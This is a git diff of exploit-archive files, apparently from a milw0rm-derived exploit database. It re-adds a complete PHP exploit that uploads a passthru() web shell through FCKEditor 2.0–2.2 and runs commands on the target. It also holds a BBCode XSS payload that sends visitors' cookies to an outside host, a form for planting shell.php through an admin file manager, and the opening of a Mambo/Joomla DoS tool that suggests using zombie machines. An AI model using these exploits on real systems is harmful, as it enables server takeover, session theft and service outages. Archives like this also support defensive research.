 [color=#EFEFEF][url]www.ut[url=http://www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.milw0rm.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]
-
-
-# milw0rm.com [2005-07-14]
+
+
+# milw0rm.com [2005-07-14]
diff --git a/platforms/php/webapps/1142.php b/platforms/php/webapps/1142.php
index 77b24979a..b896eb2ab 100755
--- a/platforms/php/webapps/1142.php
+++ b/platforms/php/webapps/1142.php
@@ -60,6 +60,6 @@
 
     echo $r;
 
-?>
-
-// milw0rm.com [2005-08-09]
+?>
+
+// milw0rm.com [2005-08-09]
diff --git a/platforms/php/webapps/12811.txt b/platforms/php/webapps/12811.txt
index 64141976a..fb919af8c 100755
--- a/platforms/php/webapps/12811.txt
+++ b/platforms/php/webapps/12811.txt
@@ -1,5 +1,4 @@
 
-
       ______                _       _   _             
       | ___ \              | |     | | (_)            
       | |_/ /_____   _____ | |_   _| |_ _  ___  _ __  
@@ -43,7 +42,7 @@ _____________________________________________________________
 <form name="new_file" action="http://<--  CHANGE HERE   -->/admin/file_manager.php/login.php?action=save" method="post">
 FILE NAME:<br>
 <input type="text" name="filename">&nbsp; (ex. shell.php)<br>FILE CONTENTS:<br>
-<textarea name="file_contents" wrap="soft" cols="70" rows="10"></textarea>
+<textarea name="file_contents" wrap="soft" cols="70" rows="10">&lt;/textarea&gt;
 <input name="submit" type="submit" value="   Save   " >
 </form>
 </html>
diff --git a/platforms/php/webapps/1484.php b/platforms/php/webapps/1484.php
index afa8aa69f..34311aeb8 100755
--- a/platforms/php/webapps/1484.php
+++ b/platforms/php/webapps/1484.php
@@ -1,289 +1,289 @@
-<?php
-#  ---fckeditor_22_xpl.php                              15.38 04/12/2005       #
-#                                                                              #
-#                       FCKEditor 2.0 <= 2.2 shell upload                      #
-#                              coded by rgod                                   #
-#                     site: http://retrogod.altervista.org                     #
-#                                                                              #
-#  usage: launch from Apache, fill in requested fields, then go!               #
-#                                                                              #
-#  Sun-Tzu: "Security against defeat implies defensive tactics; ability to     #
-#  defeat the enemy means taking the offensive"                                #
-
-/* -> a short explaination: if a user cam call directly
-
-      http://[target]/[path]/editor/filemanager/browser/default/connectors/php/connector.php
-
-      he can upload malicious contempt on a target server, including arbitrary
-      php code, and launch commands on it
-
-      this works when php connector is enabled in config.php and when, ex.,
-      in Apache httpd.conf "AddType application/x-httpd-php" directive we have
-      an extension not specified in FCKEditor Config[DeniedExtensions][File]
-      array.
-
-      However, FCKeditor is integrated in a lot of applications, and if you
-      succeed to upload the shell (see details in the output of this script)
-      search for a local inclusion issue inside of them and include the uploaded
-      file                                                                    */
-
-error_reporting(0);
-ini_set("max_execution_time",0);
-ini_set("default_socket_timeout", 5);
-ob_implicit_flush (1);
-
-echo'<html><head><title> ******* FCKEditor 2.0 <= 2.2 shell upload**************
-</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
-#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
-{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
-!important} option {  background-color:   #303030   !important}         textarea
-{background-color: #303030 !important} input {color: #1CB081 !important}  option
-{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
-{background-color: #303030 !important} select {font-weight: normal;       color:
-#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
-background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
-0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
-!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
-!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
-!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
-normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
-{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
-color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
-font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
-font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
- ******* FCKEditor 2.0 <= 2.2 shell upload************** </p><p class="Stile6">a
-script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
-http://retrogod.altervista.org</a> </p> <table  width="84%"><tr><td width="43%">
-<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
-type="text"  name="host"> <span class="Stile5">* target    (ex:www.sitename.com)
-</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
-/FCKEditor/ or just / ) </span></p><p><input type="text" name="cmd">       <span
-class="Stile5"> * specify a command</span></p><p><input type="text" name="port">
-<span class="Stile5">specify  a  port other than  80 (default value)</span> </p>
-<p><input   type="text" name="proxy"><span class="Stile5"> send  exploit through
-an HTTP proxy (ip:port) </span>  </p>  <p>  <input   type="submit" name="Submit"
-value="go!"></p></form></td></tr></table></body></html>';
-
-function show($headeri)
-{
-  $ii=0;$ji=0;$ki=0;$ci=0;
-  echo '<table border="0"><tr>';
-  while ($ii <= strlen($headeri)-1){
-    $dAtAi=dechex(ord($headeri[$ii]));
-    if ($ji==16) {
-      $ji=0;
-      $ci++;
-      echo "<td>&nbsp;&nbsp;</td>";
-      for ($li=0; $li<=15; $li++) {
-        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
-		}
-      $ki=$ki+16;
-      echo "</tr><tr>";
-    }
-    if (strlen($dAtAi)==1) {
-      echo "<td>0".htmlentities($dAtAi)."</td>";
-    }
-    else {
-      echo "<td>".htmlentities($dAtAi)."</td> ";
-    }
-    $ii++;$ji++;
-  }
-  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
-    echo "<td>&nbsp&nbsp</td>";
-  }
-  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
-    echo "<td>".htmlentities($headeri[$li])."</td>";
-  }
-  echo "</tr></table>";
-}
-
-$pRoXy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
-
-function sendpacket() //2x speed
-{
-  global $pRoXy, $host, $port, $pAcKeT, $HtMl, $pRoXy_regex;
-  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
-  if ($socket < 0) {
-    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
-  }
-  else {
-    $c = preg_match($pRoXy_regex,$pRoXy);
-    if (!$c) {echo 'Not a valid prozy...';
-    die;
-    }
-  echo "OK.<br>";
-  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
-  if ($pRoXy=='') {
-    $result = socket_connect($socket, $host, $port);
-  }
-  else {
-    $parts =explode(':',$pRoXy);
-    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
-    $result = socket_connect($socket, $parts[0],$parts[1]);
-  }
-  if ($result < 0) {
-    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
-  }
-  else {
-    echo "OK.<br><br>";
-    $HtMl= '';
-    socket_write($socket, $pAcKeT, strlen($pAcKeT));
-    echo "Reading response:<br>";
-    while ($out= socket_read($socket, 2048)) {$HtMl.=$out;}
-    echo nl2br(htmlentities($HtMl));
-    echo "Closing socket...";
-    socket_close($socket);
-  }
-  }
-}
-
-function sendpacketii($pAcKeT)
-{
-  global $pRoXy, $host, $port, $HtMl, $pRoXy_regex;
-  if ($pRoXy=='') {
-    $ock=fsockopen(gethostbyname($host),$port);
-    if (!$ock) {
-      echo 'No response from '.htmlentities($host); die;
-    }
-  }
-  else {
-	$c = preg_match($pRoXy_regex,$pRoXy);
-    if (!$c) {
-      echo 'Not a valid proxy...';die;
-    }
-    $parts=explode(':',$pRoXy);
-    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
-    $ock=fsockopen($parts[0],$parts[1]);
-    if (!$ock) {
-      echo 'No response from proxy...';die;
-	}
-  }
-  fputs($ock,$pAcKeT);
-  if ($pRoXy=='') {
-    $HtMl='';
-    while (!feof($ock)) {
-      $HtMl.=fgets($ock);
-    }
-  }
-  else {
-    $HtMl='';
-    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) {
-      $HtMl.=fread($ock,1);
-    }
-  }
-  fclose($ock);
-  echo nl2br(htmlentities($HtMl));
-  }
-
-
-function refresh()
-{
-  flush();
-  ob_flush();
-  usleep(100000);
-}
-function make_seed()
-{
-   list($usec, $sec) = explode(' ', microtime());
-   return (float) $sec + ((float) $usec * 100000);
-}
-
-$host=$_POST[host];$port=$_POST[port];
-$path=$_POST[path];$cmd=$_POST[cmd];
-$pRoXy=$_POST[proxy];
-echo "<span class=\"Stile5\">";
-
-if (($host<>'') and ($path<>'') and ($cmd<>''))
-{
-  $port=intval(trim($port));
-  if ($port=='') {$port=80;}
-  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
-  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-  $host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
-  $path=str_replace("\r","",$path);$path=str_replace("\n","",$path);
-
-  //modify the shell as you want, this could be written in any language
-  //if exploit succeeded we will see phpinfo() even, check for disable_functions
-  //if passthru() disabled, try with system(), exec(), popen() or shell_exec()
-  $SHELL ="<?php echo chr(72).\"i Master!\";ini_set(\"max_execution_time\",0);error_reporting(0);";
-  $SHELL.="phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?>";
-  //we try to guess allowed extensions...
-  // you should succeed with .php3 for 2.0fc
-  //  "     "       "     "  .php  for 2.0rc1
-  //  "     "       "     "  .php  for 2.0rc2
-  //  "     "       "     "  .php3 for 2.0rc3
-  //  "     "       "     "  .pwml for 2.1 (added some restrictions, but maybe
-  //                                        this is executable on some machine)
-  //  "     "       "     "  .pwml for 2.11
-  //  "     "       "     "  .pwml for 2.2
-  $extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc');
-  //add what you want
-  //'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
-  //empty for 2.2
-  $upload_command= array('FileUpload','');
-  $path_to_shell="/UserFiles/File/"; //default one: if different, script will find it
-
-  for ($x=0; $x<=count($extensions)-1; $x++)
-  {
-    for ($y=0; $y<=1; $y++)
-    {
-      # STEP 1 -> Upload the shell
-      srand(make_seed());
-      $anumber = rand(1,9999);
-      $filename="suntzu".$anumber.$extensions[$x];
-      $dAtA="-----------------------------7d529a1d23092a\r\n";
-      $dAtA.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
-      $dAtA.="Content-Type:\r\n\r\n";
-      $dAtA.="$SHELL\r\n";
-      $dAtA.="-----------------------------7d529a1d23092a--\r\n";
-      $pAcKeT="POST ".$path."editor/filemanager/browser/default/connectors/php/";
-      $pAcKeT.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFolder= HTTP/1.1\r\n";
-      $pAcKeT.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
-      $pAcKeT.="User-Agent: Sun-tzu giving you the pain\r\n";
-      $pAcKeT.="Host: ".$host."\r\n";
-      $pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";
-      $pAcKeT.="Connection: Close\r\n\r\n";
-      $pAcKeT.=$dAtA;
-      show($pAcKeT);
-      sendpacketii($pAcKeT);
-      if (!eregi("200 OK",$HtMl)) {die("Cannot find connector.php...<br>");}
-      if (eregi("This connector is disabled",$HtMl)) {echo "Exploit failed... -> php connector not enabled";die;}
-      if (eregi("url=\"",$HtMl))
-      {
-        $temp=explode("url=\"",$HtMl);
-        $temp2=explode("\"",$temp[1]);
-        $path_to_shell=$temp2[0];
-      }
-      echo "<br>path where I search shell: ".htmlentities($path_to_shell)."<br>";
-      # STEP 2 -> Launch commands...
-      #by default a "UserFiles/File/" dir is generated inside site root when you upload
-      #files, this dir is not protected by an .htaccess file or whatever
-      $pAcKeT="GET ".$path_to_shell.$filename."?cmd=".urlencode($cmd)." HTTP/1.1\r\n";
-      $pAcKeT.="User-Agent: GoogleBot/1.1\r\n";
-      $pAcKeT.="Host: ".$host."\r\n";
-      $pAcKeT.="Connection: Close\r\n\r\n";
-      show($pAcKeT);
-      sendpacketii($pAcKeT);
-      if (eregi("200 OK",$HtMl)) {
-                                 if (eregi("Hi Master!",$HtMl))
-    			         {echo "Exploit succeeded...<br>";
-				  echo "we have a shell in http://".$host.$path_to_shell.$filename."<br>";
-				  echo "we should have phpinfo() here, see html...<br>";
-			          die;}
-                                  else {echo "Successfully uploades...<br>
-			                      but is not an executable on target server...<br>";}
-                               }
-      refresh();
-    }
-
-  }
-#if you are here...
-echo "Exploit failed...";
-}
-else
-{echo "Fill * required fields, optionally specify a proxy...";}
-echo "</span>";
-?>
-
-# milw0rm.com [2006-02-09]
+<?php
+#  ---fckeditor_22_xpl.php                              15.38 04/12/2005       #
+#                                                                              #
+#                       FCKEditor 2.0 <= 2.2 shell upload                      #
+#                              coded by rgod                                   #
+#                     site: http://retrogod.altervista.org                     #
+#                                                                              #
+#  usage: launch from Apache, fill in requested fields, then go!               #
+#                                                                              #
+#  Sun-Tzu: "Security against defeat implies defensive tactics; ability to     #
+#  defeat the enemy means taking the offensive"                                #
+
+/* -> a short explaination: if a user cam call directly
+
+      http://[target]/[path]/editor/filemanager/browser/default/connectors/php/connector.php
+
+      he can upload malicious contempt on a target server, including arbitrary
+      php code, and launch commands on it
+
+      this works when php connector is enabled in config.php and when, ex.,
+      in Apache httpd.conf "AddType application/x-httpd-php" directive we have
+      an extension not specified in FCKEditor Config[DeniedExtensions][File]
+      array.
+
+      However, FCKeditor is integrated in a lot of applications, and if you
+      succeed to upload the shell (see details in the output of this script)
+      search for a local inclusion issue inside of them and include the uploaded
+      file                                                                    */
+
+error_reporting(0);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout", 5);
+ob_implicit_flush (1);
+
+echo'<html><head><title> ******* FCKEditor 2.0 <= 2.2 shell upload**************
+</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
+#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
+{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
+!important} option {  background-color:   #303030   !important}         textarea
+{background-color: #303030 !important} input {color: #1CB081 !important}  option
+{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
+{background-color: #303030 !important} select {font-weight: normal;       color:
+#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
+background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
+0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
+!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
+!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
+!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
+normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
+{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
+color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
+font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
+font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
+ ******* FCKEditor 2.0 <= 2.2 shell upload************** </p><p class="Stile6">a
+script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
+http://retrogod.altervista.org</a> </p> <table  width="84%"><tr><td width="43%">
+<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
+type="text"  name="host"> <span class="Stile5">* target    (ex:www.sitename.com)
+</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
+/FCKEditor/ or just / ) </span></p><p><input type="text" name="cmd">       <span
+class="Stile5"> * specify a command</span></p><p><input type="text" name="port">
+<span class="Stile5">specify  a  port other than  80 (default value)</span> </p>
+<p><input   type="text" name="proxy"><span class="Stile5"> send  exploit through
+an HTTP proxy (ip:port) </span>  </p>  <p>  <input   type="submit" name="Submit"
+value="go!"></p></form></td></tr></table></body></html>';
+
+function show($headeri)
+{
+  $ii=0;$ji=0;$ki=0;$ci=0;
+  echo '<table border="0"><tr>';
+  while ($ii <= strlen($headeri)-1){
+    $dAtAi=dechex(ord($headeri[$ii]));
+    if ($ji==16) {
+      $ji=0;
+      $ci++;
+      echo "<td>&nbsp;&nbsp;</td>";
+      for ($li=0; $li<=15; $li++) {
+        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
+		}
+      $ki=$ki+16;
+      echo "</tr><tr>";
+    }
+    if (strlen($dAtAi)==1) {
+      echo "<td>0".htmlentities($dAtAi)."</td>";
+    }
+    else {
+      echo "<td>".htmlentities($dAtAi)."</td> ";
+    }
+    $ii++;$ji++;
+  }
+  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
+    echo "<td>&nbsp&nbsp</td>";
+  }
+  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
+    echo "<td>".htmlentities($headeri[$li])."</td>";
+  }
+  echo "</tr></table>";
+}
+
+$pRoXy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+
+function sendpacket() //2x speed
+{
+  global $pRoXy, $host, $port, $pAcKeT, $HtMl, $pRoXy_regex;
+  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
+  if ($socket < 0) {
+    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
+  }
+  else {
+    $c = preg_match($pRoXy_regex,$pRoXy);
+    if (!$c) {echo 'Not a valid prozy...';
+    die;
+    }
+  echo "OK.<br>";
+  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
+  if ($pRoXy=='') {
+    $result = socket_connect($socket, $host, $port);
+  }
+  else {
+    $parts =explode(':',$pRoXy);
+    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
+    $result = socket_connect($socket, $parts[0],$parts[1]);
+  }
+  if ($result < 0) {
+    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
+  }
+  else {
+    echo "OK.<br><br>";
+    $HtMl= '';
+    socket_write($socket, $pAcKeT, strlen($pAcKeT));
+    echo "Reading response:<br>";
+    while ($out= socket_read($socket, 2048)) {$HtMl.=$out;}
+    echo nl2br(htmlentities($HtMl));
+    echo "Closing socket...";
+    socket_close($socket);
+  }
+  }
+}
+
+function sendpacketii($pAcKeT)
+{
+  global $pRoXy, $host, $port, $HtMl, $pRoXy_regex;
+  if ($pRoXy=='') {
+    $ock=fsockopen(gethostbyname($host),$port);
+    if (!$ock) {
+      echo 'No response from '.htmlentities($host); die;
+    }
+  }
+  else {
+	$c = preg_match($pRoXy_regex,$pRoXy);
+    if (!$c) {
+      echo 'Not a valid proxy...';die;
+    }
+    $parts=explode(':',$pRoXy);
+    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
+    $ock=fsockopen($parts[0],$parts[1]);
+    if (!$ock) {
+      echo 'No response from proxy...';die;
+	}
+  }
+  fputs($ock,$pAcKeT);
+  if ($pRoXy=='') {
+    $HtMl='';
+    while (!feof($ock)) {
+      $HtMl.=fgets($ock);
+    }
+  }
+  else {
+    $HtMl='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) {
+      $HtMl.=fread($ock,1);
+    }
+  }
+  fclose($ock);
+  echo nl2br(htmlentities($HtMl));
+  }
+
+
+function refresh()
+{
+  flush();
+  ob_flush();
+  usleep(100000);
+}
+function make_seed()
+{
+   list($usec, $sec) = explode(' ', microtime());
+   return (float) $sec + ((float) $usec * 100000);
+}
+
+$host=$_POST[host];$port=$_POST[port];
+$path=$_POST[path];$cmd=$_POST[cmd];
+$pRoXy=$_POST[proxy];
+echo "<span class=\"Stile5\">";
+
+if (($host<>'') and ($path<>'') and ($cmd<>''))
+{
+  $port=intval(trim($port));
+  if ($port=='') {$port=80;}
+  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
+  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+  $host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
+  $path=str_replace("\r","",$path);$path=str_replace("\n","",$path);
+
+  //modify the shell as you want, this could be written in any language
+  //if exploit succeeded we will see phpinfo() even, check for disable_functions
+  //if passthru() disabled, try with system(), exec(), popen() or shell_exec()
+  $SHELL ="<?php echo chr(72).\"i Master!\";ini_set(\"max_execution_time\",0);error_reporting(0);";
+  $SHELL.="phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?>";
+  //we try to guess allowed extensions...
+  // you should succeed with .php3 for 2.0fc
+  //  "     "       "     "  .php  for 2.0rc1
+  //  "     "       "     "  .php  for 2.0rc2
+  //  "     "       "     "  .php3 for 2.0rc3
+  //  "     "       "     "  .pwml for 2.1 (added some restrictions, but maybe
+  //                                        this is executable on some machine)
+  //  "     "       "     "  .pwml for 2.11
+  //  "     "       "     "  .pwml for 2.2
+  $extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc');
+  //add what you want
+  //'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
+  //empty for 2.2
+  $upload_command= array('FileUpload','');
+  $path_to_shell="/UserFiles/File/"; //default one: if different, script will find it
+
+  for ($x=0; $x<=count($extensions)-1; $x++)
+  {
+    for ($y=0; $y<=1; $y++)
+    {
+      # STEP 1 -> Upload the shell
+      srand(make_seed());
+      $anumber = rand(1,9999);
+      $filename="suntzu".$anumber.$extensions[$x];
+      $dAtA="-----------------------------7d529a1d23092a\r\n";
+      $dAtA.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
+      $dAtA.="Content-Type:\r\n\r\n";
+      $dAtA.="$SHELL\r\n";
+      $dAtA.="-----------------------------7d529a1d23092a--\r\n";
+      $pAcKeT="POST ".$path."editor/filemanager/browser/default/connectors/php/";
+      $pAcKeT.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFolder= HTTP/1.1\r\n";
+      $pAcKeT.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
+      $pAcKeT.="User-Agent: Sun-tzu giving you the pain\r\n";
+      $pAcKeT.="Host: ".$host."\r\n";
+      $pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";
+      $pAcKeT.="Connection: Close\r\n\r\n";
+      $pAcKeT.=$dAtA;
+      show($pAcKeT);
+      sendpacketii($pAcKeT);
+      if (!eregi("200 OK",$HtMl)) {die("Cannot find connector.php...<br>");}
+      if (eregi("This connector is disabled",$HtMl)) {echo "Exploit failed... -> php connector not enabled";die;}
+      if (eregi("url=\"",$HtMl))
+      {
+        $temp=explode("url=\"",$HtMl);
+        $temp2=explode("\"",$temp[1]);
+        $path_to_shell=$temp2[0];
+      }
+      echo "<br>path where I search shell: ".htmlentities($path_to_shell)."<br>";
+      # STEP 2 -> Launch commands...
+      #by default a "UserFiles/File/" dir is generated inside site root when you upload
+      #files, this dir is not protected by an .htaccess file or whatever
+      $pAcKeT="GET ".$path_to_shell.$filename."?cmd=".urlencode($cmd)." HTTP/1.1\r\n";
+      $pAcKeT.="User-Agent: GoogleBot/1.1\r\n";
+      $pAcKeT.="Host: ".$host."\r\n";
+      $pAcKeT.="Connection: Close\r\n\r\n";
+      show($pAcKeT);
+      sendpacketii($pAcKeT);
+      if (eregi("200 OK",$HtMl)) {
+                                 if (eregi("Hi Master!",$HtMl))
+    			         {echo "Exploit succeeded...<br>";
+				  echo "we have a shell in http://".$host.$path_to_shell.$filename."<br>";
+				  echo "we should have phpinfo() here, see html...<br>";
+			          die;}
+                                  else {echo "Successfully uploades...<br>
+			                      but is not an executable on target server...<br>";}
+                               }
+      refresh();
+    }
+
+  }
+#if you are here...
+echo "Exploit failed...";
+}
+else
+{echo "Fill * required fields, optionally specify a proxy...";}
+echo "</span>";
+?>
+
+# milw0rm.com [2006-02-09]
diff --git a/platforms/php/webapps/1698.php b/platforms/php/webapps/1698.php
index 13e1c77e9..c487652eb 100755
--- a/platforms/php/webapps/1698.php
+++ b/platforms/php/webapps/1698.php
@@ -1,181 +1,181 @@
-<?php
-#             Mambo/Joomla Path Disclosure & Remote DOS Exploit               #
-#                               by trueend5                                   #
-#              Computer Security Science Researchers Institute                #
-#                           [http://www.KAPDA.ir]                             #
-#                                                                             #
-
-error_reporting(0);
-ini_set("max_execution_time",0);
-ini_set("default_socket_timeout", 5);
-ob_implicit_flush (1);
-
-echo'<html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
-<title>Mambo/Joomla Remote DOS Exploit</title>
-</head>
-
-<body bgcolor="#FFCCFF">
-
-<p align="center"><font size="4" color="#0000FF">Mambo/Joomla Path Disclosure &amp;
-(IIS Server-isapi mod) Remote Denial Of Service</font></p>
-<p class="Stile6" align="center"><font size="3" color="#FF0000">by trueend5</font></p>
-<p align="center"><font size="4" color="#008000">Computer Security Science Researchers
-Institute</font></p>
-<font SIZE="3">
-<p align="center"><a href="http://www.kapda.ir">KAPDA</a></p>
-<p align="center">&nbsp;</p>
-</font>
-<table width="90%">
-  <tbody>
-    <tr>
-      <td width="43%" align="left">
-        <form name="form1" action="'.$SERVER[PHP_SELF].'" method="post">
-          <p><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</font> hostname (ex: www.sitename.com)</span></p>
-          <p><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</font> path (ex:
-          /mambo/
-          or just / )</span></p>
-          <p><input name="pref" size="20"> <span class="Stile5">prefix (default is
-			&quot;kap&quot;)</span></p>
-          <p>&nbsp;useful when you want to Run this script
-			twice or more at the same time against a target For DDOS.</p>
-			<p>&nbsp; to perform it Just rename this file and choose a different
-			prefix and run the exploits from your system ,</p>
-			<p>&nbsp; remote locations or from&nbsp; zombies machines.</p>
-			<p>&nbsp; (quintuplet or more is recommended to cause&nbsp; remote server
-			crash for a none dedicated host)</p>
-          <p><input name="port" size="20"><span class="Stile5"> specify a port&nbsp;
-          (default is 80)</span></p>
-          <p><input name="proxy" size="20"><span class="Stile5"> send exploit
-          through an HTTP proxy (ip:port)</span></p>
-          <p align="center"> <span class="Stile5"><font color="#FF0000">&nbsp;&nbsp;
-          * </font>fields are required</span></p>
-          <p align="center"><span class="Stile5">-----------------------------------------------------------------------------------------------</span></p>
-
-          <p><input type="submit" value="Start" name="Submit"></p>
-        </form>
-      </td>
-    </tr>
-  </tbody>
-</table>
-</body></html>';
-
-function show($headeri)
-{
-  $ii=0;$ji=0;$ki=0;$ci=0;
-  echo '<table border="0"><tr>';
-  while ($ii <= strlen($headeri)-1){
-    $datai=dechex(ord($headeri[$ii]));
-    if ($ji==16) {
-      $ji=0;
-      $ci++;
-      echo "<td>&nbsp;&nbsp;</td>";
-      for ($li=0; $li<=15; $li++) {
-        echo "<td>".$headeri[$li+$ki]."</td>";
-		}
-      $ki=$ki+16;
-      echo "</tr><tr>";
-    }
-    if (strlen($datai)==1) {
-      echo "<td>0".$datai."</td>";
-    }
-    else {
-      echo "<td>".$datai."</td> ";
-    }
-    $ii++;$ji++;
-  }
-  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
-    echo "<td>&nbsp&nbsp</td>";
-  }
-  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
-    echo "<td>".$headeri[$li]."</td>";
-  }
-  echo "</tr></table>";
-}
-
-$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
-
-function sendpacketii($packet)
-{
-  global $proxy, $host, $port, $html, $proxy_regex;
-  if ($proxy=='') {
-    $ock=fsockopen(gethostbyname($host),$port);
-    if (!$ock) {
-      echo 'No response from '.htmlentities($host); die;
-    }
-  }
-  else {
-	$c = preg_match($proxy_regex,$proxy);
-    if (!$c) {
-      echo 'Not a valid proxy';die;
-    }
-    $parts=explode(':',$proxy);
-    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
-    $ock=fsockopen($parts[0],$parts[1]);
-    if (!$ock) {
-      echo 'No response from proxy...';die;
-	}
-  }
-  fputs($ock,$packet);
-  if ($proxy=='') {
-    $html='';
-    while (!feof($ock)) {
-      $html.=fgets($ock);
-    }
-  }
-  else {
-    $html='';
-    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
-      $html.=fread($ock,1);
-    }
-  }
-  fclose($ock);
-  //if ($GLOBALS['view']==1) {echo nl2br(htmlentities($html));}
-}
-
-$host=$_POST[host];
-$path=$_POST[path];
-$port=$_POST[port];
-$pref=$_POST[pref];
-
-if (($host<>'') and ($path<>'')){
-{
-  $port=intval(trim($port));
-  $pref=(trim($pref));
-  if ($port=='') {$port=80;}
-  if ($pref=='') {$pref='kap';}
-  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
-  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-  $host=str_replace("\r\n","",$host);
-  $path=str_replace("\r\n","",$path);
-  echo ' Try to find installaton path ...';
